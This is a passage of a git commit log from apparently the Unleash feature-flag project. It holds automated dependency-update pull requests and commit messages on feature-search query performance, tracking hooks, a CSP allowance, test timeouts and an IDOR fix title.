([PR#6974](https://redirect.github.com/dubzzz/fast-check/pull/6974)) CI: Drop pull\_request\_target flows - ([PR#6975](https://redirect.github.com/dubzzz/fast-check/pull/6975)) CI: Drop discussion creation on release publish - ([PR#6976](https://redirect.github.com/dubzzz/fast-check/pull/6976)) CI: Drop caches from publication steps - ([PR#6977](https://redirect.github.com/dubzzz/fast-check/pull/6977)) CI: Revert "Drop caches from publication steps" - ([PR#6978](https://redirect.github.com/dubzzz/fast-check/pull/6978)) CI: Make zizmor audit a required status check - ([PR#6991](https://redirect.github.com/dubzzz/fast-check/pull/6991)) CI: Remove Claude Code workflow - ([PR#6994](https://redirect.github.com/dubzzz/fast-check/pull/6994)) CI: Replace `pnpm dlx` with `pnpm exec` for `pkg-pr-new` - ([PR#6995](https://redirect.github.com/dubzzz/fast-check/pull/6995)) CI: Inline zizmor ignores in workflow - ([PR#6996](https://redirect.github.com/dubzzz/fast-check/pull/6996)) CI: Move to `devEngines.packageManager` - ([PR#7005](https://redirect.github.com/dubzzz/fast-check/pull/7005)) CI: Update PULL\_REQUEST\_TEMPLATE.md - ([PR#7011](https://redirect.github.com/dubzzz/fast-check/pull/7011)) CI: Drop OTP prompt from npm publish - ([PR#7013](https://redirect.github.com/dubzzz/fast-check/pull/7013)) CI: Switch release jobs to npm stage publish - ([PR#7027](https://redirect.github.com/dubzzz/fast-check/pull/7027)) CI: Run benchmarks against `main` - ([PR#7037](https://redirect.github.com/dubzzz/fast-check/pull/7037)) CI: Use comparison mode for `bench` - ([PR#7069](https://redirect.github.com/dubzzz/fast-check/pull/7069)) CI: Run pnpm dedupe to deduplicate lockfile - ([PR#6959](https://redirect.github.com/dubzzz/fast-check/pull/6959)) CI: Announce releases on Bluesky - ([PR#7105](https://redirect.github.com/dubzzz/fast-check/pull/7105)) CI: Switch to actions/attest for attestations - ([PR#7117](https://redirect.github.com/dubzzz/fast-check/pull/7117)) CI: Use pnpm version in changelog script - ([PR#7120](https://redirect.github.com/dubzzz/fast-check/pull/7120)) CI: Allow unclean tree in changelog generation - ([PR#7125](https://redirect.github.com/dubzzz/fast-check/pull/7125)) CI: Stage publish using `pnpm` in publish jobs - ([PR#7065](https://redirect.github.com/dubzzz/fast-check/pull/7065)) Clean: Delete skills directory - ([PR#6983](https://redirect.github.com/dubzzz/fast-check/pull/6983)) Doc: Tweak PR Template to hint AI agents into revealing themselves - ([PR#7092](https://redirect.github.com/dubzzz/fast-check/pull/7092)) Doc: Add back skills directory - ([PR#7095](https://redirect.github.com/dubzzz/fast-check/pull/7095)) Doc: Add release notes for fast-check 4.8.0 - ([PR#7104](https://redirect.github.com/dubzzz/fast-check/pull/7104)) Doc: Add makeeno as doc contributor - ([PR#7103](https://redirect.github.com/dubzzz/fast-check/pull/7103)) Doc: Fix info box in docs - ([PR#7108](https://redirect.github.com/dubzzz/fast-check/pull/7108)) Doc: Add jneidel as doc contributor - ([PR#7035](https://redirect.github.com/dubzzz/fast-check/pull/7035)) Performance: Faster `fc.integer` on `generate` - ([PR#7046](https://redirect.github.com/dubzzz/fast-check/pull/7046)) Performance: Faster fc.record on generate - ([PR#7047](https://redirect.github.com/dubzzz/fast-check/pull/7047)) Performance: Faster fc.dictionary on generate - ([PR#7048](https://redirect.github.com/dubzzz/fast-check/pull/7048)) Performance: Faster `fc.webPath`/`fc.webUrl` on `generate` - ([PR#7050](https://redirect.github.com/dubzzz/fast-check/pull/7050)) Performance: Faster `fc.stringMatching` for `\W` `\D` `\S` `.` - ([PR#7054](https://redirect.github.com/dubzzz/fast-check/pull/7054)) Performance: Faster `fc.stringMatching` on `generate` - ([PR#7049](https://redirect.github.com/dubzzz/fast-check/pull/7049)) Performance: Drop nested `tuple` on `generate` for `fc.record` - ([PR#7045](https://redirect.github.com/dubzzz/fast-check/pull/7045)) Performance: Faster `fc.entityGraph` on `generate` - ([PR#7071](https://redirect.github.com/dubzzz/fast-check/pull/7071)) Performance: Early exit on empty tuple in `fc.entityGraph` - ([PR#7004](https://redirect.github.com/dubzzz/fast-check/pull/7004)) Refactor: Extract code from `onTheFlyLinksForEntityGraph` - ([PR#7006](https://redirect.github.com/dubzzz/fast-check/pull/7006)) Refactor: Move `generate` logic to the `Arbitrary` for `entityGraph` - ([PR#7007](https://redirect.github.com/dubzzz/fast-check/pull/7007)) Refactor: Introduce `ProductionState` for `onTheFlyLinks...` - ([PR#6990](https://redirect.github.com/dubzzz/fast-check/pull/6990)) Script: Skip scripts during `pnpm i` in changelog generation - ([PR#7039](https://redirect.github.com/dubzzz/fast-check/pull/7039)) Script: More benchmark commands - ([PR#6972](https://redirect.github.com/dubzzz/fast-check/pull/6972)) Security: Pass `--ignore-scripts` to `pnpm i` calls - ([PR#7028](https://redirect.github.com/dubzzz/fast-check/pull/7028)) Test: Add benchmarks for key arbitraries - ([PR#7034](https://redirect.github.com/dubzzz/fast-check/pull/7034)) Test: Expand benchmark coverage across arbitrary families - ([PR#7041](https://redirect.github.com/dubzzz/fast-check/pull/7041)) Test: Add runners related benchs - ([PR#7064](https://redirect.github.com/dubzzz/fast-check/pull/7064)) Test: Clarify arbitrary benchmark names - ([PR#7068](https://redirect.github.com/dubzzz/fast-check/pull/7068)) Test: More reliable arbitraries.bench.ts - ([PR#7088](https://redirect.github.com/dubzzz/fast-check/pull/7088)) Typo: Typo in type `EntityGraphContraints` *** </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Madrid) - Branch creation - "after 7pm every weekday,before 5am every weekday" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
b1c9598a8b |
chore(deps): update dependency helmet to v8.3.0 (#12628)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [helmet](https://helmet.js.org/) ([source](https://redirect.github.com/helmetjs/helmet)) | [`8.2.0` → `8.3.0`](https://renovatebot.com/diffs/npm/helmet/8.2.0/8.3.0) |  |  | --- ### Release Notes <details> <summary>helmetjs/helmet (helmet)</summary> ### [`v8.3.0`](https://redirect.github.com/helmetjs/helmet/blob/HEAD/CHANGELOG.md#830---2026-07-11) [Compare Source](https://redirect.github.com/helmetjs/helmet/compare/v8.2.0...v8.3.0) ##### Changed - `Content-Security-Policy`: improved performance by \~7% when there are no dynamic directives - `Content-Security-Policy`: improved error handling for invalid directive names ##### Fixed - `Content-Security-Policy`: `useDefaults: false` with no directives is no longer valid, both at runtime and the type level - `Content-Security-Policy`: dynamically-computed directive values would `throw`, not call `next`, when invalid - `Content-Security-Policy`: dynamically-computed directive value entries would `throw`, not call `next`, when function threw </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Madrid) - Branch creation - "after 7pm every weekday,before 5am every weekday" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
874eb859bb | chore(oss): sync Unleash/unleash main | ||
|
|
72c062520e |
chore(deps): update dependency express-rate-limit to v8.7.0 (#12626)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [express-rate-limit](https://redirect.github.com/express-rate-limit/express-rate-limit) | [`8.5.2` → `8.7.0`](https://renovatebot.com/diffs/npm/express-rate-limit/8.5.2/8.7.0) |  |  | --- ### Release Notes <details> <summary>express-rate-limit/express-rate-limit (express-rate-limit)</summary> ### [`v8.7.0`](https://redirect.github.com/express-rate-limit/express-rate-limit/releases/tag/v8.7.0) [Compare Source](https://redirect.github.com/express-rate-limit/express-rate-limit/compare/v8.6.2...v8.7.0) You can view the changelog [here](https://express-rate-limit.mintlify.app/reference/changelog). ### [`v8.6.2`](https://redirect.github.com/express-rate-limit/express-rate-limit/releases/tag/v8.6.2) [Compare Source](https://redirect.github.com/express-rate-limit/express-rate-limit/compare/v8.6.1...v8.6.2) You can view the changelog [here](https://express-rate-limit.mintlify.app/reference/changelog). ### [`v8.6.1`](https://redirect.github.com/express-rate-limit/express-rate-limit/releases/tag/v8.6.1) [Compare Source](https://redirect.github.com/express-rate-limit/express-rate-limit/compare/v8.6.0...v8.6.1) You can view the changelog [here](https://express-rate-limit.mintlify.app/reference/changelog). ### [`v8.6.0`](https://redirect.github.com/express-rate-limit/express-rate-limit/releases/tag/v8.6.0) [Compare Source](https://redirect.github.com/express-rate-limit/express-rate-limit/compare/v8.5.2...v8.6.0) You can view the changelog [here](https://express-rate-limit.mintlify.app/reference/changelog). </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Madrid) - Branch creation - "after 7pm every weekday,before 5am every weekday" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
e8ad43225e |
chore(deps): update dependency cypress to v15.21.1 (#12625)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [cypress](https://cypress.io) ([source](https://redirect.github.com/cypress-io/cypress)) | [`15.18.0` → `15.21.1`](https://renovatebot.com/diffs/npm/cypress/15.18.0/15.21.1) |  |  | --- ### Release Notes <details> <summary>cypress-io/cypress (cypress)</summary> ### [`v15.21.1`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.21.1) [Compare Source](https://redirect.github.com/cypress-io/cypress/compare/v15.21.0...v15.21.1) Changelog: <https://docs.cypress.io/app/references/changelog#15-21-1> ### [`v15.21.0`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.21.0) [Compare Source](https://redirect.github.com/cypress-io/cypress/compare/v15.20.1...v15.21.0) Changelog: <https://docs.cypress.io/app/references/changelog#15-21-0> ### [`v15.20.1`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.20.1) [Compare Source](https://redirect.github.com/cypress-io/cypress/compare/v15.20.0...v15.20.1) Changelog: <https://docs.cypress.io/app/references/changelog#15-20-1> ### [`v15.20.0`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.20.0) [Compare Source](https://redirect.github.com/cypress-io/cypress/compare/v15.19.0...v15.20.0) Changelog: <https://docs.cypress.io/app/references/changelog#15-20-0> ### [`v15.19.0`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.19.0) [Compare Source](https://redirect.github.com/cypress-io/cypress/compare/v15.18.1...v15.19.0) Changelog: <https://docs.cypress.io/app/references/changelog#15-19-0> ### [`v15.18.1`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.18.1) [Compare Source](https://redirect.github.com/cypress-io/cypress/compare/v15.18.0...v15.18.1) Changelog: <https://docs.cypress.io/app/references/changelog#15-18-1> </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Madrid) - Branch creation - "after 7pm every weekday,before 5am every weekday" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
4526268a5f | feat(strategies) - simpler strategy setup - part 5a - refactor to simplify the components structure | ||
|
|
c1fd79276b | chore(oss): sync Unleash/unleash main | ||
|
|
5f07dd53e1 | UX Tweak: Reduced spacing at sides of main content (#12598) | ||
|
|
bfeb07963f |
feat: moves Addon project filter from frontend to backend
Adds an optional `?project=` query parameter to the `/api/admin/addons` resource. In turn moving filtering from frontend to backend. Filtering is done on the backend but all integrations are fetched from the database, same as for context etc. |
||
|
|
eb11a49b0f | chore(oss): sync Unleash/unleash main | ||
|
|
36876cb932 |
chore: revert rate limit search features and add proper types
Reverts bricks-software/unleash-enterprise#1738 Also adds proper types which uncovered a bit of technical debt that was paid 💰 |
||
|
|
fc0756c0f0 |
refactor: colour system cleanup — container recipe + palette semantics (#12574)
The main purpose of this PR is to make it easier for designers, engineers and agents to know which color to use where. It fixes inconsistencies with the colors and makes them them easier to maintain while being somewhat consistent with MUI. |
||
|
|
4709ac9cd1 |
perf: aggregate feature search tags after paging
## Summary - move tag hydration out of `ranked_features` and aggregate tags only after pagination - return one JSON tag array per paginated feature, including tag-type colors - filter tag inclusions through the existing feature-name subquery instead of joined tag rows - verify that filtering by one tag still hydrates all tags on each matching feature ## Stack - Base: #1761 - This PR implements the tags portion of https://github.com/bricks-software/unleash-enterprise/pull/1747#discussion_r3948351331 - Environment aggregation remains a separate follow-up because environments participate in ranking, status, metrics, change requests, and release plans This PR depends on the `paginated_features` CTE introduced in #1761. It removes the environments × tags row multiplication from ranking and limits tag aggregation to the requested page. ## Benchmark Local benchmark against #1761 using three paired runs and reporting the median. Fixture: 1,064 features, 17 environments, one strategy per environment, 91 segments, one metrics application with 48 hourly samples, five tags per feature, and page size 25. | Scenario | #1761 latency | This PR | Latency change | #1761 throughput | This PR | Throughput change | | --- | ---: | ---: | ---: | ---: | ---: | ---: | | One request | 405.18 ms | 82.56 ms | -79.6% | 2.47 req/s | 12.11 req/s | +390.8% (4.91×) | | Four concurrent requests | 507.91 ms/batch | 110.10 ms/batch | -78.3% | 7.88 req/s | 36.33 req/s | +361.3% (4.61×) | The original zero-tag fixture remains effectively unchanged at concurrency (109.44 → 109.27 ms/batch); its single-request median varied from 81.38 → 85.15 ms (+4.6%), within the observed run-to-run noise. The benchmark harness and reproduction instructions are preserved in independent draft PR #1764. It measures store calls against PostgreSQL, not end-to-end HTTP endpoint capacity. |
||
|
|
4cc2b0f99b | perf: avoid OR-join on dependent_features in feature search (#12624) | ||
|
|
1ce2bdd512 |
perf: scope feature search metrics to requested page
## Summary - add a `paginated_features` Common Table Expression (CTE) after the full result set has been ranked - aggregate the last hour of usage metrics only for features on the requested page - preserve the full matching-feature count used by pagination - cover paginated results with their environment metrics in the search E2E suite ## Context This is the performance follow-up to #1747. That PR removed the segment-row explosion; profiling the resulting query left metrics aggregation as the next material cost because it still joined `client_metrics_env` against every matching feature before pagination. The review suggestion in https://github.com/bricks-software/unleash-enterprise/pull/1747#discussion_r3948351331 remains useful but separate: tags can likely use the same pre-aggregation pattern as segments, while environments also drive status, sorting, metrics, change requests, and release plans. This PR keeps that broader structural work out and addresses the measured next bottleneck. ## Benchmark Local benchmark against post-#1747 `main`, using three paired runs and reporting the median. Fixture: 1,064 features, 17 environments, one strategy per environment, 91 segments, one metrics application with 48 hourly samples, page size 25. | Scenario | Baseline latency | This PR | Latency change | Baseline throughput | This PR | Throughput change | | --- | ---: | ---: | ---: | ---: | ---: | ---: | | One request | 115.15 ms | 81.38 ms | -29.3% | 8.68 req/s | 12.29 req/s | +41.5% | | Four concurrent requests | 156.28 ms/batch | 109.44 ms/batch | -30.0% | 25.59 req/s | 36.55 req/s | +42.8% | The benchmark harness and reproduction instructions are preserved in independent draft PR #1764. It measures store calls against PostgreSQL, not end-to-end HTTP endpoint capacity; the harness is not included in this optimization PR. |
||
|
|
da9c5c3031 |
feat(tracking): track API token and environment journeys
Adds tracking to API token and project environment journeys — create, delete, copy, and environment hide/show, all carrying name and environment but never the secret. Previously untracked archive dialogs (flag exposure, metadata panel, cleanup reminder) now join `flag-actions`. All event and type names are kebab-case; nothing here is live yet, so this is the only window to fix naming for free. Two series pick up new volume: admin API token actions (`/admin/api`) now emit into `project-api-tokens` for the first time, and onboarding token creation joins the canonical create journey. |
||
|
|
65c526a684 |
refactor(tracking): one bound useTracking hook, no dialog hook
One `useTracking(declaration)` hook, with the old primitives folded in.
This PR basically unifies the vocabulary as I've discovered some issues
along the way and this will help us arrive at a convention we can use.
Details:
- `useTracking(declaration)` is the only form. If a component tracks
several journeys it calls the hook once per declaration. I dropped the
unbound version, it only served picking the journey inside a handler,
which we shouldn't do anyway.
- `track`, `trackMutation`, `trackValidationFailed` are the whole
vocabulary; `emitTrackingAction` and `runTrackedMutation` are inlined
and deleted.
- `useDialogTracking` is gone too. Its dedupe was hiding two places
where dismissed fired twice (Dialogue escape + MUI onClose, Feedback
click-away + backdrop). Fixed those at the source, so dismissed is just
`track('dismissed')`.
- `Dialogue` and `SidebarModal` take a `tracking` prop and emit `opened`
and `dismissed` themselves. No declaration, no rows.
- `CreateFeatureDialog`, `ProjectAccess`, `ImportModal` and
`FeedbackComponent` migrated as the first consumers. Added tests for the
hook and for Dialogue.
- ADR is #1749, needs updating for this. Every other open tracking PR
builds on this hook.
|
||
|
|
387c03e66b |
fix: hide SSO options on the invitation screen (#12622)
## Changes - Hide the SSO buttons and the "or sign-up with an email address" divider when the screen was reached via an invite link (`?invite=…`). - The password-reset flow (`?token=…`) is unchanged. - On SSO-only instances (`defaultHidden: true`), where the signup form is hidden anyway, the buttons still render — otherwise the screen would be blank. |
||
|
|
5de9fbb585 |
test: raise global vitest timeouts for the frontend suite (#12623)
The frontend suite ran on vitest's 5s default timeout, with 17 hand-rolled per-test overrides (`}, 10000)` / `}, 16000)`) sprinkled across the slowest tests. Under parallel-worker load on CI those ceilings were routinely crossed, producing timeout failures unrelated to whatever change was under test. ## Changes - Set `testTimeout: 30_000` and `hookTimeout: 30_000` in `frontend/vite.config.mts`. - Remove all 17 per-test timeout overrides. Every one of them was *below* the new global, so leaving them in place would have kept exactly the slowest tests failing. |
||
|
|
126a78b6e4 |
feat: allow uxtweak survey submissions through the CSP
Add submitUrl to connect-src to allow posting from Unleash. |
||
|
|
c354caffdd |
feat(strategies): simpler strategy setup - part 4 - more strategies dropdown menu
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
66d4a45c1d | 8.2.0 v8.2.0 | ||
|
|
ae957f9071 | docs: Update CHANGELOG.md | ||
|
|
07694b3e42 |
feat(strategies): simpler strategy setup - part 3: the two setup cards
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
93b9321337 | fix: cross-project IDOR on feature-dependency routes | ||
|
|
89feebb8db |
chore(deps): update dependency countries-and-timezones to v3.10.0 (#12621)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [countries-and-timezones](https://redirect.github.com/manuelmhtr/countries-and-timezones) | [`3.9.0` → `3.10.0`](https://renovatebot.com/diffs/npm/countries-and-timezones/3.9.0/3.10.0) |  |  | --- ### Release Notes <details> <summary>manuelmhtr/countries-and-timezones (countries-and-timezones)</summary> ### [`v3.10.0`](https://redirect.github.com/manuelmhtr/countries-and-timezones/blob/HEAD/CHANGELOG.md#3100---2026-08-02) [Compare Source](https://redirect.github.com/manuelmhtr/countries-and-timezones/compare/v3.9.0...v3.10.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Madrid) - Branch creation - "after 7pm every weekday,before 5am every weekday" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
768a222e01 |
chore(deps): update dependency @codemirror/state to v6.7.2 (#12620)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | @​codemirror/state | [`6.7.1` → `6.7.2`](https://renovatebot.com/diffs/npm/@codemirror%2fstate/6.7.1/6.7.2) |  |  | --- ### Configuration 📅 **Schedule**: (in timezone Europe/Madrid) - Branch creation - "after 7pm every weekday,before 5am every weekday" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
cc391c4bfc |
fix(addons): treat single-character templates as valid in ServiceNow and webhook addons
`crCreationNoteTemplate` (ServiceNow) and `bodyTemplate` (webhook) rejected any template of length <= 1, so a legitimate one-character template was silently dropped in favor of the default message. Trim before checking emptiness so only actually-empty/whitespace-only templates fall back to the default, while the original (untrimmed) template is still used for rendering. Other places with the same `.length > 1` off-by-one (not fixed by this PR): - Webhook `customHeaders` — [oss/src/lib/addons/webhook.ts#L105](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/webhook.ts#L105) - Datadog `bodyTemplate` — [oss/src/lib/addons/datadog.ts#L66](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/datadog.ts#L66) - Datadog `customHeaders` — [oss/src/lib/addons/datadog.ts#L83](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/datadog.ts#L83) - New Relic `bodyTemplate` — [oss/src/lib/addons/new-relic.ts#L65](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/new-relic.ts#L65) - New Relic `customHeaders` — [oss/src/lib/addons/new-relic.ts#L83](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/new-relic.ts#L83) - Slack `customHeaders` — [oss/src/lib/addons/slack.ts#L64](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/slack.ts#L64) - Teams `customHeaders` — [oss/src/lib/addons/teams.ts#L80](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/teams.ts#L80) - Teams Workflow `customHeaders` — [oss/src/lib/addons/teams-workflow.ts#L98](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/teams-workflow.ts#L98) Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com> |
||
|
|
1f601d127e | chore: fix broken links in REST API guideline (#12618) | ||
|
|
8b146279ec |
perf: reduce feature search segment fan-out
## Why GET /api/admin/search/features joins feature strategies to features by feature name before pagination. For a feature with N environments, every strategy row can therefore be paired with all N feature-environment rows. Segment links increase that intermediate result further even though the response ultimately deduplicates segment names. This became visible during the September feature-search incident, where one instance with 1,064 flags and 17 environments saturated its database under sustained automated search traffic. Incident context: https://unleash-internal.slack.com/archives/C047QAPU5U5/p1788396840135459 ## What changed - Aggregate distinct segment names once per feature before joining them into ranked_features. - Return that pre-aggregated segment array directly instead of rebuilding it from repeated result rows. - Make positive segment filters use a feature-level subquery, consistent with the existing negative and all-of segment filters. - Add regression coverage for segments across environments and for combined status and segment filters that match in different environments. A simpler feature-strategy join on feature plus environment was tested first, but it changed existing behavior: a development status filter could no longer be combined with a segment used in production. The pre-aggregation approach removes the fan-out while preserving that behavior. It also avoids relying on a composite feature-strategy to feature-environment constraint that the database does not currently enforce. ## Benchmark The benchmark harness was used locally and is intentionally not committed in this PR. It was tied to the feature-search schema and fixture; a reusable endpoint load-test tool should be designed separately as an HTTP-level runner with externally prepared data. The temporary harness called the real FeatureSearchStore against a freshly migrated PostgreSQL database with: - 1,064 features - 17 environments per feature - one strategy and segment link per feature and environment - 91 reusable segments - 48 hourly metric rows per feature and environment - page size 25 Candidate values are the median of three runs on the same local machine. The baseline is the saved pre-change run. | Measurement | Baseline | Candidate | Improvement | | --- | ---: | ---: | ---: | | Single request mean | 1,869 ms | 115 ms | 16.2x | | Single-request throughput | 0.535 RPS | 8.685 RPS | 16.2x | | Four-request batch mean | 2,195 ms | 156 ms | 14.0x | | Effective concurrent throughput | 1.82 RPS | 25.6 RPS | 14.0x | This is deliberately a dense-strategy fixture, so the result demonstrates the eliminated cardinality amplification clearly but should not be interpreted as a fleet-wide production prediction. ## Verification - Feature-search suite: 43 tests passed - TypeScript no-emit check passed - Biome passed - git diff check passed |